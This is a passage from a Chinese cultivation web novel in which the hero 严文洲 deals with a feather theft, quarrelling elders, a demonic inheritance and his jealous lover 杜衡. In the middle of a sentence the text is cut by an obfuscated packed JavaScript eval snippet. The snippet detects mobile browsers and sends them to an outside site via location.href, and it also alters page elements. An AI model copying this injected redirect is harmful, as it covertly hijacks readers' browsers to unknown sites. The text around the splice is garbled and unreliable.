“我前些天还听闻朱湛使和清河使共同现身,说不定就是为了迎回那一位!” 严文洲幽幽插了一句:“明朔剑尊剑下怎么会有活口,我看说不定是谢渡回来了。” 几人顿时停了话头,齐刷刷扭头看过来,“谢渡?这名字好生耳熟……” 看着眼前几张茫然疑惑的脸,严文洲无言以对。 仔细看去这几人修为最高的也才到金丹,容貌都十分年轻,若不是用了驻颜丹,那应该十分年轻,谢渡“身陨”的时候,他们说不定都还没出生呢! 他顿时生出一种人至暮年的淡淡忧伤。 莲花台上乐姬唱过三句,舞姬旋过一圈,终于有人想起了这名字,立刻露出鄙夷之色,“不过丧家之犬而已,趁着东极道主不在便来抢东极道的尊主之位,实在不磊落!” 严文洲哑然失笑,“兄台,魔道之中强者为尊,东极道主既然不在,那么有人来抢不也是正常的么?” 对方神色一正,“虽说如此,但那一位不仅修为绝顶,行事干脆利落,手起刀落从不手软,且不像某些修士,从不做落井下石之事,堪为我魔修楷模!须知,我们魔修也是有底线的!若真是谢渡回来夺位,实在有些令人不耻,魔尊之位还做得不够么!” 唔,这夸赞实在有意思。严文洲赞同地点点头,不动声色往楼上包厢瞥了一眼。 一阵激昂乐声响起,台上乐姬已经换了一人,舞姬也换成了几位服饰格外艳丽的法修,幻术营造出一片陌生山峦,一场大戏缓缓开幕。 严文洲只觉周围气息微变,低头一看,居然又是那条野狗!而且更不妙的是,这位医人不自医的药王谷主开始十分凶恶地朝邻座的紫衣公子哥儿狂吠起来! 激烈暴躁的狗叫声夹杂在柔和乐声中显得十分刺耳,一时间,莲花台上的乐声乱了一瞬,无数人伸长了脖子看过来。 管事娘子一下冲过来,眼见这条狗的真容时立刻流露出几分嫌弃,正要询问严文洲是否是他的灵宠时,这条不走寻常路的狗却已经等不了了。 电光石火间,它已经张开血盆大口,咬上了隔壁桌的紫衣公子。 “啊——”紫衣公子发出不似人的惨叫,双手抱住狗头拼命挣扎起来。 然而这狗不似常狗,一咬上便不松口,任凭这公子哥儿怎么动弹也逃不出,反而还将周围的桌椅板凳、杯盘菜碟摔了个稀巴烂。 一切只发生在短短几个刹那,莫说管事的,就算是严文洲也没反应过来,他甚至升起一个念头——系统该不会是认错人了吧?这该不会真是条疯狗吧? 最后还是方才那位东极道主的仰慕者率先出手,一支寒光凛凛的羽箭咻一声朝病狗后心袭去。下一瞬,这狗四条腿儿一倒腾,羽箭擦着背毛过去,反倒击中了紫衣公子! “啊——”公子哥儿再度尖叫起来。 严文洲幽幽一叹——这也许是条疯狗,但肯定不是条平平无奇的狗! 脚尖一点,越过一片狼藉,他翩然转到了紫衣公子背后,凌空一掌拍向这人后脑! 管事的、看戏的皆大惊,正要阻止却已经完全来不及了,只能眼睁睁地看着这陌生青年一掌将紫衣公子拍得四分五裂! 只听轰隆一声巨响,意料之中的血溅三尺并没有发生,散落满地的“尸块”滴血不流,呈现出一种近似于玉石的古怪质感,而中心—— 是一片流光溢彩的长羽,尽管只有巴掌大小,但一出现便让人觉得歌舞坊里的奢靡装饰皆是凡夫俗子的不值钱玩意儿,便是长羽抖落下来的一根微毛都价值连城! “七曜羽!”不知哪位仁兄尖叫了一声。 死寂了一瞬,现场顿时沸腾起来,逃跑的逃跑,冲过来的冲过来,各色法器灵光乱闪得跟炸烟花一样。 严文洲也没想到谢渡那老不修居然还来这么一招,立刻拖着身份可疑的野狗往门口冲去。 三楼包厢内,一身血色华服的男人收回眼神,神情阴鸷,“刚才那个人,找人紧紧跟着,查清楚来历。” 属下点头称是,“那条狗需要查一查么?” “哼,那怎么可能是条狗?不用查了,知道那人是谁,就知道那条狗是哪里来的了。” 属下立时额头冒汗,“那、那他呢?” 他指的是此刻正跪伏在地上,瑟瑟发抖的黑衣修士。这人明面上是海东城一家酒肆的老板,实际上是修罗门安插在海东城的探子。< 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环视一圈,一个活物都没有,除了灰尘还是灰尘,严文洲摇摇头,朗声道:“前辈,跟到这里就差不多了吧?” “小子好眼光!” “怎么说话的,不就是过来看看你么!?” 两道声音同时响起,与此同时,街角处走出一位摇着泥金折扇,一身锦衣的青年修士,毛发稀疏的野狗也摇身一变,成了一个庄稼汉打扮的老人。 不等严文洲说话,他一扭头看见了另一人,立刻骂起来:“怎么是你!阴魂不散的狗东西!” “去你的阴魂不散,分明是你技艺不精!还狗东西,变狗的人分明是你!” “我变我的狗,干你何事?你来干什么!?” “我还想问你来干什么呢!?我来看看我不争气的徒儿干你何事!?” “……徒儿?” “不错,徒儿。” 酒坊中顿时安静下来,方才还吵得跟斗鸡一样的两人齐刷刷向严文洲看来。 “小子,你真是谢渡的徒弟?” “徒儿,你什么时候认识的这老头儿?” 严文洲长叹一声,怪只怪当时鬼迷心窍,跟着系统过去多看了一眼,要不然也不会有今日之祸。 “前辈,晚辈确实是谢尊者的弟子,”他十分忧伤地朝庄稼汉点了点头,又转向谢渡,“师尊,弟子并不知道是如何招惹到这位前辈的。” 谢渡闻言一怔,对严文洲一板一眼的语调十分不适应,然而也不免极其受用——这小子什么时候对自己这么恭敬过? 仔仔细细打量了一遍,他惊觉这人的修为并不是用秘法压下去的,而是实打实的金丹期,顿时急起来,“你、你怎么混得如此凄惨!” 严文洲一脸真诚,“徒儿也不知道。” 霎时,谢渡神色扭曲,欲言又止了好几番,最终扭头冲着老对头恶狠狠道:“你怎么还不走,要我送你么?” 被这么一激,面色变换了许久的药王谷主陡然下定了决心,“小子,我这里有一份传承,对你只有好处没有坏处,我也不需要你与此人一刀两断,只要你愿意,我便给你,你可要想清楚!” 严文洲真真切切地呆住了,一个字也说不出来。炼丹?从来只有他吃丹药的份儿,没有他伺候丹药的份儿!他连点火都不会! 却是谢渡先狂笑出声,泥金扇子都失手掉到了地上,“哈哈哈,你、你、你还能炼丹!?” 似乎开启了某个古怪的开关,系统也回过神开始尖叫起来,“啊——不行不行不行!拒绝,赶紧拒绝掉!” 严文洲心中一动,记得上一次这样,还是在江家传承上。那就…… “好。” 话音还未落下,系统的声音就陡然变得暴躁起来,“你竟敢!这不是我颁发给你的任务!我要惩罚你!” “嘀——惩罚模块已加载完成,正在启动!” 较天雷加身有过之而无不及的剧痛瞬间沿着脊柱蔓延开,严文洲脸色一白,支撑不住地软倒下来。 一切只在眨眼间。 狂笑戛然而止,谢渡傻了眼。 药王谷主正是喜不自胜时,忽见变故,也懵了。 与此同时,严文洲心海里的嘀嘀声还在持续: “嘀——任务目标正在靠近中,请注意。嘀——检查到系统版本与目前任务进度不符,正在更新升级中。” “嘀——任务模块重新加载完毕,请注意。” “嘀——监测到预测模型实用度过低,为减少内存,正在删除该模块——消除完毕!” 42.天魔来处(七) “这小子如何了?怎么还不醒?” “你话怎么如此之多!该醒的时候总会醒的,着急什么!” “呵,你看看你有没有做师尊的样子!难怪你收不到徒儿!” “你个老货,整天游手好闲,不知道的还以为你是那家的败家子呢!哪里像个魔尊!” “像不像有什么干系!?是不是才重要!” “此言倒也有理,只是从你嘴里说出来的定然不是什么好话!” …… 耳边叽叽喳喳从没停过,严文洲迷迷糊糊地知道自己是被带到了另一处歌舞坊,身下是泛着甜香的柔软锦被,丝竹乐声正隐隐约约地飘着,还有两位大能在身边守着,极是安乐。 可眼前却是截然相反的另一番天地。 一株古木连着一株古木,扭曲枝干张牙舞爪地伸向天空,举目所望不见天,只有深深浅浅的绿,仿佛永无尽头,口鼻之间只有浓郁的血腥气,脚下土地已然完全被半腐烂的落叶覆盖,即便只是轻轻掠过上方,也会留下几声微妙的响动。 这里是中域,残破天柱所在的区域,无数留着蛮荒古兽血脉的妖兽在此栖息,每时每刻都发生着无数杀戮,寻常难得一见的妖兽在这里不过是供妖王驱使的小喽啰。 对于修士来说,这里是绝对的禁区,即便是有天大的胆子,也只会在边缘地区游荡试探,毕竟,对于深林中的妖兽来说,他们是再可口不过的点心了。 震耳欲聋的嘶吼声从背后传来,紧随其后的便是无数树枝折断的咔擦声,八只灯笼大的红眼睛似慢实快地出现,漆黑如墨的巨肢也跟着横跨而来,只轻轻在树干上一扎,合抱粗的古木便失了生机。太清宗弟子服饰悠悠荡荡地挂在刚毛上,似是幽暗深林中的吊死鬼。 “小郎君,我帮你解决了那些追杀你的修士,你要怎么感谢我呢?” “自然是,送你投胎。” 寒光起,血线飙出,巨肢零落。 面前还是一望无际的暗沉。他似乎已经走了很久,但面前还是望不见尽头的漫漫长路。 不能停 可他却也说不准到底要去哪里。 “老匹夫,你这些天就一直躲在这里?” “老狗,嘴巴放干净点!本尊正大光明在这里喝酒听曲儿,怎么叫躲,分明是他们太笨,找不到我!” “强词夺理!那么我探出去大喊一声谢渡在此,可也不可!?” “你大可一试,等你喊完了我再喊一声药王谷主在此!” “呵,你手中既有假七曜羽,那真的七曜羽定然也在你手中,你这次究竟是在做什么的?” “听闻此处有热闹可看便来了,你不也是么?” …… 对了,严文洲记起来了,自己也不是下定决心要去哪里,只是忽然间无处可去。 垂云汀后,玄天卷的金字预言立刻得到了证实,他一下成为众矢之的,仿佛成了最唾手可得的猎物,只要夺了他的命,便可扬名立万,风光无限。四洲仙道修士不想要他命的屈指可数,以太清宗为首的南域仙盟率先派出弟子,想除掉他这个为夺传承杀师灭门的天生魔种。 只可惜,他们大多都死了。 不是被自己杀了,就是被中域妖兽当点心吃了。 太清宗来了很多人,甚至还出动了三位炼虚期长老,可那时的自己也不过半步炼虚,太清诛恶阵高悬头顶,十二道困龙柱金光耀耀,身后只有中域的万里深林。 即便要死,也不能死在这群人手里。 于是纵身一跃 太清宗长老大概有什么执念,居然就这么一直追到了中域腹地。那片罕有人至,记载寥寥的地区。天柱残片在中域土地上孕育出一个又一个微型秘境,其中可能遍地莳花异草,也可能只有满地枯骨。 他有时离玄天卷很近,近到那本破书的金光刺得他双目发痛,有时又离得很远,远到玄天卷只是天边星子般的一个小点。 …… “这小子住在东城一处洞天别院里,这海东城里的洞天别院是什么价格你应该知道,他背后势力定然不小,你如今这么藏着,可当心他如今的师长寻上门来!” “寻上门又如何,难道他还能打过我么?再者,这小子当年拜师的事情,整个偃月城都知道,他纵是以师长身份施压,总也越不过我!” “呵,世人多健忘,你那都是几百年前的事了,短命的都死了三五茬了,谁还记得!” “我记得!” “哟,瞧你那高兴的样子,你是根本忘不掉吧!?” …… “晚辈严栩前来拜师!” 略带寒意的声音层层回荡开,杀气逼人的刀光几乎使日月失色,整个偃月城都停滞了一瞬,无数人抬头望向天空,碧蓝天穹下只有一道踩着灵光的人影,长风猎猎,将他的衣袍吹得极为好看。 通过散布在偃月城里的无数傀儡,谢渡将这一幕看得清清楚楚,瞬间将这小子赶鸭子上架、不敬师长的恶劣行为抛之脑后。 都说这姓严的小子无法无天,张狂得没个修士样子,但那分明是仙修无眼,错把榆木疙瘩当成宝,玄天卷或许在胡说八道,但有一点说对了——像这样的好苗子,就该来魔道! 一回想起当日的偃月城,谢渡便觉得自己将偃月城定在海边是极正确的选择——若是在深山老林中,哪里有这么恰好的一片天、这么有眼色的一阵风? “对,我就是忘不掉,你还没看见呢!”他十分得瑟地抬起下巴,一阵狂吹,“一百年的化神,两百年的炼虚,三百年的合体,四洲有几个?!” 药王谷主的脸色渐渐古怪,凌乱眉毛越飞越高,甚至不由自主咳嗽了一声。谢渡话头一顿,意识到了些许不对劲,不等扭头看去,便听到一道略微嘶哑的声音:“师尊,你果然对我很满意。” 谢渡:“……” 逆徒! 药王谷主立时大笑起来,此人看着不起眼,但中气相当足,直笑出了回声效果,气得谢渡顿时黑了脸,恶声道:“笑什么笑,这可是我的地盘,先前看我徒儿没醒才留你下来,如今你也可以走了!” “呵,你怎么知道我没给你徒儿下药?我如今真要走了,你自己看着办吧!” “你敢!” …… 严文洲头疼地捏了捏眉心,耳边仍在嗡嗡作响,疑心自己躺了多久,这两人便吵了多久。 劝么? 恐怕劝不动。 那就先这么听着吧。 灵台里的系统又换了个模样,黯淡了许久的任务框再度刷上了金漆,离开飞仙城前的任务消失得一干二净,取而代之的是好几串密密麻麻的小字。 严文洲扫了一眼,心情更不爽了几分。自从想起来的记忆越来越多,骨子里的放荡不羁爱自由也越来越压抑不住,看系统也是愈发不顺眼——一本跟他有深仇大恨的破书的分魂,定然不是什么好东西,就应该早日把它踢了。 只可惜,这东西死死扒在神魂上,一个不当心,便是同归于尽。 左右还得听他们吵一阵,他索性开始折腾起系统来,“统兄,你怎么还是如此冲动?我不过说笑而已,你怎么直接就当真了?本来当时就能解释清楚,这下好了,你看怎么办吧!” 系统一听便炸了,“都说了是‘偶遇’,那偶遇就是偶遇啊,送机缘叫送机缘,两者怎么能混为一谈!” “这么说来,还是统兄敷衍我喽。” “……我不管,这就该是钟慎的!” “我昏迷时,听闻预测模型已然被撤销了,那不知统兄如今的依据是何物?” 系统一下没了声儿。 抛去什么藏书阁、检索系统之类花里胡哨的东西,系统的目标从始至终只有一个——帮钟慎站上四洲顶峰。其余的,不过是一点肉渣而已。 严文洲暗自冷笑,给系统送了一条意味深长的心音,不再理会,转而问道:“师尊,你还打算留七曜羽多久?不过是一根孔雀羽毛,再留几日恐怕要引火烧身了。” “前辈,敢问那传承可是出自中域一处无名石碑?” 谢渡:“……?” 药王谷主大惊,“对!你怎么知道!?我就说你有缘吧!” 话音落下,两人对视一眼,各自扭头冷哼一声。 严文洲不觉笑了一下,“晚辈也曾进过中域,于其中得无名传承半份,说不定与前辈手中的传承同出一源。” 药王谷主眼睛瞪得如铜铃一般,手里陡然出现一片巴掌大的斑驳铜片,“竟有此事!来来来,赶紧试试是不是同一份!” 谢渡也还是头一次听闻自己徒儿讲起中域里的事,偃月城见他时,他便已是一位炼虚期魔修,当时还以为是激愤之下他自己转修魔道,如今看来似乎还另有缘由。 一时间,拌嘴也不拌了,立刻伸长了脖子看去,却忽地心中一动,背后一寒。 轰——包厢门被暴力破开,飘忽人影一闪而逝,电光石火间已经站到了床边,拎着严文洲就要走人。 角落里一动不动的侍女眼睛一亮,张口便是一条幽蓝火龙,两条腿上也丝毫不耽误功夫地转出一片机括,数张符箓长了眼睛般朝那人飞过去,与此同时,无数淬毒飞箭已经射了过去。 熟悉的馨香气息当头罩下,严文洲难得慌神,“且慢!” 只听几声砰砰,又一片叮叮当当声,地上已经落了一地机关暗器,而各种机关还在马不停蹄地从各种地方转出来,包括但不限于窗框、卷轴、茶几等等,就连脚踏上都有一道被禁制包裹着的阴森森机关。 “谁?!”谢渡大喝一声,定睛看去才发现是一位样貌十分古怪的银发修士,此刻已然和自家徒儿靠近到了一个十分危险的距离。 杜衡没回答,只幽幽盯着严文洲看,眼神十分幽怨。 “等等,合体!?”药王谷主惊叫起来,简直不敢相信自己的眼睛。 严文洲被看得心跳如鼓,直觉不妙——这人不是在闭关么?怎么这就出来了?!自己到底睡了几天? 下一刻,便看这人抿了抿唇,颇有些小心翼翼地问道:“我闭关的几日,你都在这里消磨时间么?”好巧不巧,隔音禁制坏了大半,一道如泣如诉、幽咽难言的胡琴声飘飘悠悠地传过来,十分应景。 严文洲从没想过自己还能有这时候,脑子宕机了一瞬,甚至莫名其妙地想笑。于是,他还真笑了出来。 房中的另外两人本还沉浸在海东城什么时候多了个合体的呆愣中,被他这么一笑,顿时都清醒了,两双眼珠子不约而同地集中到了(别人家的)徒弟身上。 “阿蘅,你是吃醋了么?”严文洲笑得开心,一只手撑着床,另一只手明目张胆地爬进杜衡的袖管里,圈着骨节突出的手腕捏了捏,“我不是睡了几日而已,你竟都出关了,是怪我没有来迎你么?” 谢渡、药王谷主:嚯,年轻人! 纷纷倒退三步,不忍再看 但杜衡明显是很吃这一招的,眉梢眼角的幽怨顿时烟消云散,“只是发现你不见了,有些着急而已。” 严文洲稍稍松了口气,观此人神色却隐约觉得没那么简单。果然,下一刻,杜衡便附身过来,飞快在唇角边啄了一下,“也是,若是文洲你有什么想做的,大可不必到这里来。” 严文洲:“……确实。” 谢渡、药王谷主:就该把耳朵也给塞上! 先前闹出的动静虽大,但底下的吹拉弹唱分毫不停,依旧热闹得紧。瞧两人的样子也不像是什么仇人,谢渡手一挥,乱七八糟的机关再度恢复原样,除了地上被灵火灼烧的痕迹,此处包厢看上去又是一副昂贵奢靡的模样了。 严文洲环视一圈,觉得自己现下的姿势非常不妥,立刻从床上弹起来,给自己和杜衡找了两张椅子坐下。 此时此刻,杜衡也跟谢渡和药王谷主平平淡淡地寒暄完了,又开始专心致志地盯着严文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254197|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洲看,似乎能看出什么天大的秘密一样。 回过神来,谢渡总觉得自己徒儿方才那一声“阿蘅”有些古怪,不免也盯着杜衡苦思冥想,倒是药王谷主先开了口,仍旧还是传承的事情。 他手中的这份传承,并不是丹道传承,但具体是什么,他却也说不清,只言曾在中域受过些传承主人的恩惠,才有如今寻找传承人之举。 至于为什么找上严文洲…… “我看他面善!” 严文洲接过斑驳铜片,灵台里风平浪静,系统再没有作妖,便知道这分魂被自己忽悠住了,于是沉下神识探入铜片。刹那间,一道听来有些埋怨的声音悠悠响起:“你终于来了,我还当这法门要烂在我手里了呢。” 光怪陆离的世界随即展现在眼前——仙人于云端高坐,降甘霖普济世间,而域外天魔也同时滋生,不久后,仙人与天魔战作一团,自此天柱崩塌。 仙人、天魔,不过一体两面。 原来如此 他曾以为自己的功法异变会在天渊中找到答案,然而那里只有小蓬莱千年来献祭天魔的累累白骨,因为答案不在天渊,而在中域。 不是自己练错了,而是本会如此。 铜片外,杜衡神情骤变——严文洲身上极为纯净的仙修气息在霎那间转为魔气,在几个呼吸间便愈发浓郁,洇墨般的气息逸散开,将这人昳丽的面容衬出了几分妖异,“前辈做了什么?” “我、我什么也没做!”药王谷主难得大惊失色,若从前有人告诉他,有门功法能在刹那间便将仙修转为魔修,他定然是直接把那傻子踢出谷外,还要下几道毒让他尝尝忽悠人的下场! 他如今只恨自己多事,传承躺在手里又不会引天雷,烂了就烂了,怕什么?何必如此着急!顶着杜衡杀人般的眼神,他急出了一头汗,“魔、魔修不也挺好的么?像谢老兄不就是魔修么?” 话到了这里,药王谷主终于发觉了点不对劲,“不对,姓谢的你徒儿到底怎么回事?!” 谢渡翻了个大白眼,“你以为我知道?我还想问他修为怎么回事呢!杜宗主,敢问你与那小子认识的时候,他就是这般修为?” 杜衡没理他,一股微妙的气息蔓延开来,浩浩荡荡,却又在下一瞬收束起来,紧接着,再度荡开,如此反复。 咔擦咔擦——机括报废声跟爆炒米似的响起一片,角落里的机关侍女咚一声倒地散成一堆零件,谢渡来不及心疼,眼疾手快布下一道道禁制,免得整座歌舞坊都报废了。然而布下的禁制就像他精心布置的机括一样,才安置下来便噼里啪啦地破了! 扭头一看,药王谷主还在眼冒精光,似乎能直接琢磨出仙修变魔修的秘诀,谢渡气不打一处来,“那厮,别看了过来帮忙!等这小子醒了,我让他跟你说个三天三夜!” “呵,我凭什么帮你?”话虽如此,他还是老老实实地布起了禁制——若杜衡当真气急发作,他与这姓谢的倒是无碍,可底下的修士却要倒大霉,如此莫名其妙的因果,他才不背呢。 一边落下禁制,他不由暗自咋舌,这劳什子太易宗听都没听过,不想宗主居然如此厉害!如今的海东城,是呆不得了! 正是心惊胆战,又不得不静观其变时,二人等得度日如年,也不知究竟过了多久,房间内浓郁到了极点的魔气忽地一滞,端坐在魔气中央的青年陡然睁眼,凛冽寒光一闪而逝,气息便再度沉静下来。 站起身时,方才还是魔气源头的严文洲又是一位气息十分正常的仙修了。 药王谷主看得眼珠子都要掉下来了,扭头一扫,谢渡也是一副天塌了的表情,立刻心理平衡。 严文洲自然发现了两人古怪至极的表情,但在此之前,他还有更重要的事情要做——片刻功夫,杜衡的表情已经变得极为可怕,大半时间盛着温软笑意的眼中只剩下冰冷至极的杀意。 这股杀意如此明显,又如此冰冷,以至于让他想起了一个不太适合想起的人。严文洲脚步微不可见地一顿,忽然升起一个念头——小蓬莱有三尸术,太清宗有类似法门么? 心念飞逝,他很快环住杜衡的腰身,一手还闲不住地摸了摸那一头绸缎似的银发,嘴里草稿也不打直接淌出了蜜糖似的情话,然而他这能耐却也没显露多久,三句话不到的功夫,杜衡便直接吻了上去。严文洲只觉得唇上一软,又一痛,轻微血腥味弥漫开,很快被细致地舔去。 片刻后,有人面无表情地走出包间,身后寸步不离地跟着一银发人。 “阿蘅,我觉得还是……” “我觉得很好。” 走在最前面的谢渡脚下险些一踉跄,只当自己不知怎么地聋了。他忽然羡慕起药王谷那老头子来了,早知如此就一起跟他从窗口走了。 严文洲欲言又止,不时看一眼杜衡,十分怀疑自己先前是瞎了眼看错人了。亲个嘴儿不就差不多了么,怎么还要牵手呢?他再有能耐,总不能以金丹之身从一个合体大能前插个翅膀飞走吧? 可若要说些别的,杜衡确实也没多做什么别的,牵手就是牵手,清清白白得天地可鉴。 盯着各色眼神,就这么一直到了歌舞坊的大门口,严文洲才发现自己还是低估了,杜衡竟然直接拦腰一拉将他带上了飞剑,而后风驰电掣朝洞天别院而去。 再这么下去,他真的要觅几本双修功法了。 身后,谢渡却没动,威势稍稍露出一点,周围看热闹的修士便撒丫子狂奔,转瞬便跑了个精光,只剩下了一个早就瘫软在地上的瘦高个儿。 上下打量了一番,谢渡冷笑一声,“修罗门的人?过来做什么?” 瘦高个儿面色涨得赤红背后满是冷汗,虽然不认识眼前这修士,但他下意识认定此人修为极高!正要开口饶命,却觉喉头一痛,已然说不出半个音节,下一瞬,他身体一轻,这才想起来自己早已被种下了禁制。 砰——谢渡看着脚下的一滩血污,嫌恶地皱了皱眉,捏了个诀冲走。 43.天魔来处(八) 进阶合体是个大动静,眼下莫说整个海东城,就是边上两座城,但凡眼睛没问题的都看见了天穹上大片大片的祥云。凡人觉得是天降祥瑞,抑或明天是个好天气,而修士们一看便心头大动——有这动静的,定然是大能晋升,只是为什么不是自己呢!? 此时此刻,消息灵通的早就带着礼物撒腿儿朝洞天别院外跑了,而作为东道主,夜游宫早已备下了一份厚礼,眼见着天边祥云一飘出来,便屁颠屁颠带着东西等在了洞天别院门口。 然而等了半天,只觉头顶上划过一道灵光,便再没有其他动静了。 长老估摸了一下,从威势判断,人是没弄错,那么兴许是有什么别的事吧? 不过想了许久,他也还是没想到能有什么事情会让一个合体大能这么着急,方才晋升便冲了出去。 “长老,这日头太好了,咱们能弄点云不?”跟来的弟子虚弱发问,青白脸色已然被日头晒出了几分不妙的红晕。 长老狠狠剜了一眼,“你当人家也跟你一样是修尸道的?杜宗主可是正儿八经的仙修!仙修!大好的太阳你弄点云算什么?挡了人家大好风姿!” 弟子们:“……是!” “呦,什么味道,怎么这么臭呢!前来拜见人家怎么着也得沐浴熏香吧,这点礼数都没有,真是好笑!”一道不怀好意的声音从边上响起,一个富家公子哥儿模样的修士带着一大帮人停在了洞天别院门口,和夜游宫弟子隔开了几丈远,看上去十分嫌弃。 夜游宫长老一看,都是仙修,立刻嘲讽起来:“我当是谁,原来是青山派的少主,怎么着,觉得小蓬莱不行了,就来找新爹了?我奉劝你一句,瘦死的骆驼比马大,小蓬莱再怎么衰弱,也不会比你这青山派更差!” “你!”青山派少主大怒,“你个老货也不想想,杜宗主乃是仙修,怎会与你们魔修合作!你可当心他等会儿直接把你当成发霉腊肉一样丢出来!” 这一下可直接戳到了夜游宫弟子肺管子上,虽说杜宗主先前和自家关系还不错,可说到底,中间还是隔着仙魔之别,从前是他和自家宫主修为平分秋色,现下直接高了一个大境界,说不准要翻脸呢? 见夜游宫弟子一个个面露怒色却不说话,青山派少主更加得意,“听闻当年太易宗旧址正好有我青山派的一角,如今我派联合附近仙门,可将太易宗旧址重归原主,你们能给什么?不过是些俗物而已!” 此话一出,夜游宫长老陡然明白这富贵二百五怎么跑得这么快了,连小蓬莱员侨岛主这个如今海东城里脚程最快的修士都还没到,怎么他就直接带着一群人来了! 可,到底是宗门旧址。 夜游宫长老想了想,心灰了大半。 咻——又一道灵光落下,正是脸色苍白憔悴的员侨岛主。甫一落下,便不声不响地站在一边,不跟任何人搭话。 也是,青山派如今是铁了心要自立门户,这些天上蹿下跳恨不得立刻将小蓬莱取而代之,怎么搭理这个曾经的宗主呢? 紧随其后的还有另一道灵光,夜游宫长老打量了一番,发现是个不认识的仙修,便只当是什么小门小派出来的,不在意地扭过头,继续晒太阳。 不多时,一道熟悉的气息倏然而至,转瞬便要没入洞天别院,夜游宫长老陡然精神大振,大喊一声:“杜宗主!且慢!” 灵光果然停了下来,两道人影落到洞天别院门口。 系统在几丈外就开始疯狂嘀嘀,严文洲略过眼前乌泱泱一堆人,果然在角落里发现了钟慎,立刻招手示意他过来。 这时间,青山派少主已然抢先言明了自己的来意,眼中满是胜券在握。 杜衡却皱了皱眉,立刻道:“不用。”而后朝夜游宫长老点了点头,又直接忽视了员侨岛主。 青山少主:“杜宗主恐怕——” 话还没说完,眼前的银发修士便已经转身,禁制打开,臭烘烘的尸修和不知名的散修转眼便都没入了禁制,只剩下自己。 “……呵,不识相!”好半晌,他才涨红着脸挤出这么句话,气哼哼地走了。 一进洞天别院,严文洲便觉得杜衡拽着自己的手更紧了几分,扭头看去,神情也有些不愉。他环视一圈便锁定了嫌疑人——钟慎? 见严文洲看过来,钟慎又傻乎乎地笑了一下。 果然,白玉似的一双手化作无情铁钳,好不离奇。 严文洲笑得古怪,毫无征兆地停步,他这一停,两人之间立刻显出一道衣袂组成的飘飘长缎,杜衡一怔,意识到发生什么之后泰若自然地松了三分力,却是一点不放手,正要回身,只见严文洲顺手摘了一朵半开的淡绯茶花。 刹那间,茶花已到杜衡面前。 他笑了笑,接过。 两人干得肆无忌惮,可把正在滔滔不绝的夜游宫长老吓得够呛,险些忘了自己接下来要说什么。好在此人也是经历过大风大浪的,立刻眼观鼻鼻观心,假装什么也没看到,只继续自己的任务——送礼。 只是送的礼比较特殊,除了惯常的天才地宝,还要一份特殊的情报——辉虹阁楼台使的行踪。 不错,这位楼台使便是当初花大价钱雇佣蜃妖劫杀严文洲的楼台使。 “……经过我们的探查,冯元海如今仍在辉虹阁中,只是被调往了南洲安原郡,每月初三,他定然会出辉虹阁,前往城外钟家,第二天方回。具体是为了什么,我们的人还没有查清,不过定然是跟魔修有关,他每次回安原郡,身上定然带有魔气。” 严文洲一怔,“哪个钟家?” “安原郡外只有一个钟家,世代经营丹药生意。”却是钟慎愣愣地回了。 夜游宫长老点点头,见目的已经达到,几人又都没有再问的意思,便识趣地起身告辞,将战场留给了年轻人——再不走,他这条老腊肉就要被场上热辣辣的眼神滋拉出油花儿了! 杜衡率先开口,“文洲,你认识这位道友?” 严文洲眼也不眨,挑挑拣拣地讲了一些无关紧要的,钟慎听得连连点头,末了还极为真诚地添了一句:“多亏了严大哥照顾我,要不然我现在恐怕早就死了!” 严文洲眼一闭——白说了。 杜衡意味不明哦了一声,灰蒙蒙的眼珠子上下扫了一下,忽地问道:“听闻你现在拜入了明朔剑尊门下,不知他如今可好么?” 钟慎迟疑片刻,也不知想到什么,眼神微变,“师尊很好,他如今就在还真山庄。” 严文洲直觉不妙,正要暗示钟慎别再继续,但手上的力道又渐渐加重,而杜衡瞬间变得幽怨难言的眼神也扫了过来。 那行吧,无所谓,反正该知道的都知道了,不该知道的也差不多都知道了。鉴于此人算卦极准,说不定一开始就猜到了几分。 严文洲心中一定,懒洋洋往背后一仰,又觉椅背硬了些,正准备再直起身背后却已然多了一只靠垫,便又舒舒服服地仰了回去,只听杜衡轻飘飘地又问道:“怎么说?” 钟慎仍然没察觉出问题,“听师兄说,师尊极少出门,这次来还真山庄还是百余年里头一遭。在还真山庄时,崔庄主时常来跟师尊论道,不过每次她离开后,师尊都不太高兴,唯有……”他顿了顿,飞速抬眼瞥了一眼,匆忙中只见那位样貌殊异的太易宗宗主眼神极冷,而严兄则是一脸看好戏的表情。 这怕是有些不对吧。正思量间,他便听到上面又传来一声:“唯有什么?” 钟慎迟疑道:“唯有听到海东城的消息时,才会有些高兴。” 严文洲:“……呵。” 有什么好笑的?笑一群蠢蛋在这里没头苍蝇一样地找根破羽毛?还是笑自己难得出一回门居然看到了这么精彩的热闹?!这明朔剑尊,好无聊一人! 杜衡冷哼了一声,缓缓道:“七曜羽失踪,你师尊没想过来凑个热闹,还是说,单单派你一个小弟子过来凑数?” 钟慎愈发觉得这位太易宗主很不好惹,与严大哥口中那位温柔可亲的师尊完全不是同一人。他将这话来回嚼了几遍,只觉大有深意,但具体是什么意思却一点没想到,抬头看看严大哥,见他眼神全然落在了杜宗主身上,半点没看自己,不由一呆,于是只道:“我此番前来只是为了探望严大哥,其他……” 严文洲唯恐钟慎又冒出些惊人之语,立刻打断道:“明朔剑尊本与七曜羽无关,钟兄不过顺道路过而已。你若是连这等飞醋也吃,未免太过多心。” 钟慎几乎不敢相信自己听到了什么,联想到不久前一幕,似乎明白了什么,心头却还是升起一股惊恐无助来,他下意识地又看了一眼——没错,这并非幻境啊,等等,金丹?! 他心神巨震,一时间呆愣无语。 严文洲好笑地看着钟慎天塌了般的神色,正要开口再戏弄几句却听杜衡酸溜溜的声音在耳边响起:“他就这么好看么?还是说,你还在念着明朔剑尊?” 好在,这回是传音。 “还是阿蘅好看。”他很诚实地摇了摇头,觉得杜衡这个名字起得实在有失偏颇。 